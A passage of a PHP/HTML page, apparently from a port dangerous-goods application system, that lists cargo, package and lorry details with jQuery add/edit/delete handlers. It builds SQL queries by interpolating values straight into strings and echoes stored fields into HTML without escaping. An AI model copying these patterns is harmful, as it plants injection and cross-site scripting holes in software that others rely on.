Loading Port </span> </td> <td> <span class="text-primary text-table-1"> Discharging Port </span> </td> </tr> <tr> <td><?php echo change_blank($aa['port_loading'],"-"); ?></td> <td><?php echo change_blank($aa['port_discharge'],"-"); ?></td> </tr> <tr> <td> <span class="text-primary text-table-1"> Flash Point </span> </td> <td> <span class="text-primary text-table-1"> Total Weight </span> </td> </tr> <tr> <td><?php echo change_blank($aa['flashPoint'],"-"); ?></td> <td> <?php if($aa['typeofdg'] == 1 ): $sqlq = "SELECT GROUP_CONCAT(' ',weight) AS detail FROM (SELECT CONCAT(sum(a.weight),' ',b.nama) AS weight FROM `permohonan_dg_package` a LEFT JOIN kod_weight b on b.idWeight = a.idWeight WHERE a.idPDG = '{$aa['idPDG']}' GROUP BY a.idWeight ) b"; else: $sqlq = "SELECT GROUP_CONCAT(' ',weight) AS detail FROM (SELECT CONCAT(sum(a.weight),' ',b.nama) AS weight FROM `permohonan_dg_bulk` a LEFT JOIN kod_weight b on b.idWeight = a.idWeight WHERE a.idPDG = '{$aa['idPDG']}' GROUP BY a.idWeight ) b"; endif; $rstq = $mysqli->query($sqlq) or die(mysqli_error($mysqli)); $rowq = $rstq->fetch_assoc(); echo $rowq['detail']; ?> </td> </tr> <tr> <td> <span class="text-primary text-table-1"> Comment </span> </td> <td> </td> </tr> <tr> <td><?php echo change_blank($aa['comments'],"-"); ?></td> <td> </td> </tr> <tr> <td colspan="2" style="background: rgba(7, 96, 6, .9)"></td> </tr> </table> <table class="table table-condensed table-bordered table-striped" width="100%" style="margin:0px"> <?php if($aa['typeofdg'] == 1 ): ?> <tr> <th colspan="10"><div data-modal="modal-package" data-typeofdg="package" data-val-id="<?php echo $aa['idPDG']; ?>" class="btn btn-warning btn-sm add-me2"><?php echo $typebtn; ?></div></th> </tr> <tr> <th width="20px">#</th> <th colspan="2">Package</th> <th width="220px">Lorry's Details</th> <th width="50px" class="text-center"><i class="fa fa-flash"></i></th> </tr> <?php else: ?> <tr> <th colspan="10"><div data-modal="modal-stowage" data-typeofdg="stowage" data-val-id="<?php echo $aa['idPDG']; ?>" class="btn btn-warning btn-sm add-me2"><?php echo $typebtn; ?></div></th> </tr> <tr> <th width="20px">#</th> <th >Stowage Item</th> <th width="220px">Lorry's Details</th> <th width="50px" class="text-center"><i class="fa fa-flash"></i></th> </tr> <?php endif; ?> <?php $w=1; if($aa['typeofdg'] == 1 ): while($bb = $result3->fetch_assoc()){ $editdata2 = "CTUID#{$bb['CTUID']}|" ."weight#{$bb['weight']}|" ."idWeight#{$bb['idWeight']}|" ."idDimension#{$bb['idDimension']}|" ."idCTUType#{$bb['idCTUType']}|" ."CTUTeus#{$bb['CTUTeus']}|" ."idPackingType#{$bb['idPackingType']}|" ."lorryETA#{$bb['lorryETA']}|" ."lorryETA_time#{$bb['lorryETA_time']}|" ."lorryPlateNo#{$bb['lorryPlateNo']}|" ."lorryCompany#{$bb['lorryCompany']}|" ."val-id#{$bb['idDGPackage']}"; ?> <tr class=""> <td class="align-top"> <?php echo $w++; ?>. <input type="checkbox" name="myid2[]" value="<?php echo $bb['idDGPackage'];?>" style="display: none"> </td> <td class="align-top"> <table width="100%"> <tr> <td width="70px"><span class="text-social text-table-1">CTU ID</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['CTUID']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Weight</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['weight']." ".$bb['nama_weight']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Dimension</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['nama_dimension']; ?> </td> </tr> </table> </td> <td class="align-top"> <table width="100%"> <tr> <td width="90px"><span class="text-social text-table-1">CTU Type</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['nama_ctu_type']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">CTUTeus</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['CTUTeus']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Packing Type</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['nama_packing']; ?> </td> </tr> </table> </td> <td class="align-top"> <table width="100%"> <tr> <td width="70px"><span class="text-social text-table-1">ETA</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryETA']." ".$bb['lorryETA_time']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Plate No</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryPlateNo']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Company</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryCompany']; ?> </td> </tr> </table> </td> <td class="text-center align-top"> <a href="javascript:void(0)" title="Edit Record" class="btn btn-effect-ripple btn-xs btn-success edit-me2" data-modal-target="modal-package" data-typeofdg="package" data-editdata="<?php echo $editdata2;?>"><i class="fa fa-pencil"></i></a> <a href="javascript:void(0)" title="Delete Record" class="btn btn-effect-ripple btn-xs btn-danger del-me2" data-typeofdg="package"><i class="fa fa-times"></i></a> </td> </tr> <?php } else: while($bb = $result3->fetch_assoc()){ $editdata2 = "holdNumber#{$bb['holdNumber']}|" ."weight#{$bb['weight']}|" ."idWeight#{$bb['idWeight']}|" ."lorryETA#{$bb['lorryETA']}|" ."lorryETA_time#{$bb['lorryETA_time']}|" ."lorryPlateNo#{$bb['lorryPlateNo']}|" ."lorryCompany#{$bb['lorryCompany']}|" ."val-id#{$bb['idDGBulk']}"; ?> <tr class=""> <td class="align-top"> <?php echo $w++; ?>. <input type="checkbox" name="myid2[]" value="<?php echo $bb['idDGBulk'];?>" style="display: none"> </td> <td class="align-top"> <table width="100%"> <tr> <td width="70px"><span class="text-social text-table-1">CTU ID</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['holdNumber']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Weight</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['weight']." ".$bb['nama_weight']; ?> </td> </tr> </table> </td> <td class="align-top"> <table width="100%"> <tr> <td width="70px"><span class="text-social text-table-1">ETA</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryETA']." ".$bb['lorryETA_time']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Plate No</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryPlateNo']; ?> </td> </tr> <tr> <td><span class="text-social text-table-1">Company</span></td> <td width="1px">:</td> <td style="padding: 0px 5px"> <?php echo $bb['lorryCompany']; ?> </td> </tr> </table> </td> <td class="text-center align-top"> <a href="javascript:void(0)" title="Edit Record" class="btn btn-effect-ripple btn-xs btn-success edit-me2" data-modal-target="modal-stowage" data-typeofdg="stowage" data-editdata="<?php echo $editdata2;?>"><i class="fa fa-pencil"></i></a> <a href="javascript:void(0)" title="Delete Record" class="btn btn-effect-ripple btn-xs btn-danger del-me2" data-typeofdg="stowage"><i class="fa fa-times"></i></a> </td> </tr> <?php } endif; if($result3->num_rows==0){ echo "<tr><td colspan='10'><center class='text-danger'>No Records..</center></td></tr>"; } ?> <!-- <tr> --> <!-- <td colspan="9" style="background: rgba(7, 96, 6, .9)"></td> --> <!-- </tr> --> </table> </td> <td class="text-center align-top"> <a href="javascript:void(0)" title="Edit Record" class="btn btn-effect-ripple btn-xs btn-success edit-me" data-modal-target="<?php echo $modal_name;?>" data-editdata="<?php echo $editdata;?>"><i class="fa fa-pencil"></i></a> <a href="javascript:void(0)" title="Delete Record" class="btn btn-effect-ripple btn-xs btn-danger del-me" data-val="<?php echo $i;?>"><i class="fa fa-times"></i></a> </td> </tr> <?php }mysqli_free_result($resKod); ?> </tbody> </table> </form> </div> <script src="js/pages/formsValidation.js"></script> <script type="text/javascript"> $(document).ready(function(){ $(".submit_form").on("click",function(){ $.confirm({ title: 'Confirm!', content: 'Submit This Application For Further Action?', buttons: { confirm: function () { $(".submit_me").trigger("submit"); }, cancel: function () { // $.alert('Canceled!'); } } }); }); $("#example-datatable").setdatatable().setadddelete(); $('thead input:checkbox').click(function() { var checkedStatus = $(this).prop('checked'); var table = $(this).closest('table'); $('tbody input:checkbox', table).each(function() { $(this).prop('checked', checkedStatus); }); }); $(document).on("click", ".add-me2", function(){ var modal_name = "."+$(this).data("modal"); var form = "#"+$(modal_name).find("form").prop("id"); var typeofdg = $(this).data("typeofdg"); var val_id = $(this).data("val-id"); console.log(modal_name); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find(".default_radio, .default_checkbox").prop("checked",true); $(modal_name).find("select").children("option").prop("selected",false).trigger("change"); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $(form).setvalidation(''); $(form + " > [name='type_submit']").val("add-"+typeofdg); $(form + " > [name='val-id']").val(val_id); // console.log($._data($("#form-validation").get(0), "events")); }); $(document).on("click", ".add-me", function(){ var modal_name = "."+$(this).closest("form").data("modal-target"); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find(".default_radio, .default_checkbox").prop("checked",true); $(modal_name).find("select").children("option").prop("selected",false).trigger("change"); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $("#form-validation").setvalidation(''); $("#form-validation > [name='type_submit']").val("add"); // console.log($._data($("#form-validation").get(0), "events")); }); $(document).on("click", ".del-me-all", function(){ if(confirm("Delete This Records! Are You Sure?")){ var check_tick = 0; $(this).closest("form").find("input[type='checkbox']").each(function(){ if($(this).prop('checked')) check_tick++; }); if(check_tick>0) $(this).closest("form").submit(); else alert("Please select which record to be remove!"); } }); $("#example-datatable tbody").on("click", ".del-me", function(){ if(confirm("Delete This Record! Are You Sure?")){ $(this).closest("form").find("[name='type_submit']").val("delete"); $(this).closest("form").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox'][name='myid[]']").trigger("click"); $(this).closest("form").submit(); } }) $(".del-me2").on("click", function(){ if(confirm("Delete This Record! Are You Sure?")){ $(this).closest("form").find("[name='type_submit']").val("delete-"+$(this).data("typeofdg")); $(this).closest("form").find("input[type='checkbox']").prop("checked",false); $(this).closest("tr").find("input[type='checkbox'][name='myid2[]']").trigger("click"); $(this).closest("form").submit(); }else{ $(this).closest("form").find("[name='type_submit']").val("delete"); } }) $("#example-datatable tbody").on("click", ".edit-me", function(){ var modal_name = "."+$(this).data("modal-target"); var editdata = $(this).data("editdata"); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find("select").prop("selected",false); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $("#form-validation").setvalidation(editdata); $("#form-validation > [name='type_submit']").val("edit"); // console.log($._data($("#form-validation").get(0), "events")); }); $("#example-datatable tbody").on("click", ".edit-me2", function(){ var modal_name = "."+$(this).data("modal-target"); var form = "#"+$(modal_name).find("form").prop("id"); var editdata = $(this).data("editdata"); var typeofdg = $(this).data("typeofdg"); var val_id = $(this).data("val-id"); console.log(editdata); $(modal_name).modal({keyboard:true}); $(modal_name).find("input").not(":button, :submit, :reset, .not_autoset").val("").prop("checked",false); $(modal_name).find("select").prop("selected",false); $(modal_name).find('.help-block').remove(); $(modal_name).find('.form-group').removeClass('has-success has-error'); $(form).setvalidation(editdata); $(form + " > [name='type_submit']").val("edit-"+typeofdg); // console.log($._data($("#form-validation").get(0), "events")); }); }); </script> </div> </div> <!-- End Started Block -->
Close